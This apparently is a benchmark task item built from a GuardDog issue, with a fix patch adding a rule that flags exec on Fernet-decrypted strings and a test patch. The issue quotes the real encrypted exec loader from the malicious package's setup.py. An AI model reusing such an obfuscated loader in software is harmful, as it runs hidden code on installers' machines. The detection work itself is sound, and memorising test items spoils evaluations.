Repository: DataDog/guarddog (language: python)

Issue:
GuardDog fails to detect code-exec rule with Fernet obj
Sources:
https://blog.phylum.io/typosquatting-campaign-targets-python-developers/ (describing code from this one)
https://checkmarx.com/blog/pypi-is-under-attack-project-creation-and-user-registration-suspended/
https://www.mend.io/blog/over-100-malicious-packages-target-popular-ml-pypi-libraries/

While GuardDog catches both rules (code-execution and cmd-overwrite) correctly when the subprocess function is present in `setup.py` 

![Screenshot from 2024-03-29 16-45-41](https://github.com/DataDog/guarddog/assets/138708600/553e3a5c-3a1b-452d-a6a5-67dfcc2f6eff)

It doesn't catch exec func from `setup.py` in `insanepackagev1414` malicious package:

![Screenshot from 2024-03-29 16-47-34](https://github.com/DataDog/guarddog/assets/138708600/baf339f2-0375-4c8c-ae3b-0a3d157499b3)

exec snippet (full setup.py code can be found in the first url):

```python3
exec(Fernet(b'E15Vb0ro8C-RQVm_HonJQeYM7QqH_QL6GXe3BpqaJJw=').decrypt(b'gAAAAABmAzaWWvpPHQ1jJXbTyRJlwy1MP-o3USdlhSFHB2qMHxn7KSvs4SiW86NeHfa_qIB3KimenfBA0tb5MeyNeDEbDEMXK0sY05SbUZU64VR8PfxpgnKEWTP3oOaQIYVUzLcMBE0DF5EKPXuHvaXuEhHpdH9Wp1u4rrxwvUCM4BVsoMynOnJP1nN6fbCjiWryEo39-63odiENVw81V4-yReuYZEInyU0uwdLCv_-zqqUR36si-q4='))
```
GuardDog fails to detect code-exec rule with Fernet obj
Sources:
https://blog.phylum.io/typosquatting-campaign-targets-python-developers/ (describing code from this one)
https://checkmarx.com/blog/pypi-is-under-attack-project-creation-and-user-registration-suspended/
https://www.mend.io/blog/over-100-malicious-packages-target-popular-ml-pypi-libraries/

While GuardDog catches both rules (code-execution and cmd-overwrite) correctly when the subprocess function is present in `setup.py` 

![Screenshot from 2024-03-29 16-45-41](https://github.com/DataDog/guarddog/assets/138708600/553e3a5c-3a1b-452d-a6a5-67dfcc2f6eff)

It doesn't catch exec func from `setup.py` in `insanepackagev1414` malicious package:

![Screenshot from 2024-03-29 16-47-34](https://github.com/DataDog/guarddog/assets/138708600/baf339f2-0375-4c8c-ae3b-0a3d157499b3)

exec snippet (full setup.py code can be found in the first url):

```python3
exec(Fernet(b'E15Vb0ro8C-RQVm_HonJQeYM7QqH_QL6GXe3BpqaJJw=').decrypt(b'gAAAAABmAzaWWvpPHQ1jJXbTyRJlwy1MP-o3USdlhSFHB2qMHxn7KSvs4SiW86NeHfa_qIB3KimenfBA0tb5MeyNeDEbDEMXK0sY05SbUZU64VR8PfxpgnKEWTP3oOaQIYVUzLcMBE0DF5EKPXuHvaXuEhHpdH9Wp1u4rrxwvUCM4BVsoMynOnJP1nN6fbCjiWryEo39-63odiENVw81V4-yReuYZEInyU0uwdLCv_-zqqUR36si-q4='))
```


Discussion / hints:

Fix patch:
diff --git a/guarddog/analyzer/sourcecode/exec-base64.yml b/guarddog/analyzer/sourcecode/exec-base64.yml
index f62d5528..5ee1c0e1 100644
--- a/guarddog/analyzer/sourcecode/exec-base64.yml
+++ b/guarddog/analyzer/sourcecode/exec-base64.yml
@@ -55,4 +55,5 @@ rules:
           - pattern: decode("...")
           - pattern: __import__("base64").b64decode(...)
           - pattern: marshal.loads(zlib.decompress(...))
+          - pattern: $FUNC("...").decrypt(...)
     severity: WARNING


Test patch:
diff --git a/tests/analyzer/sourcecode/exec-base64.py b/tests/analyzer/sourcecode/exec-base64.py
index 0887c7bd..386eaf96 100644
--- a/tests/analyzer/sourcecode/exec-base64.py
+++ b/tests/analyzer/sourcecode/exec-base64.py
@@ -111,4 +111,7 @@
         "<string>",
         "exec",
     )
-)
\ No newline at end of file
+)
+
+# ruleid: exec-base64
+exec(Fernet(b'E15Vxxx=').decrypt(b'gAAAxxx='))
\ No newline at end of file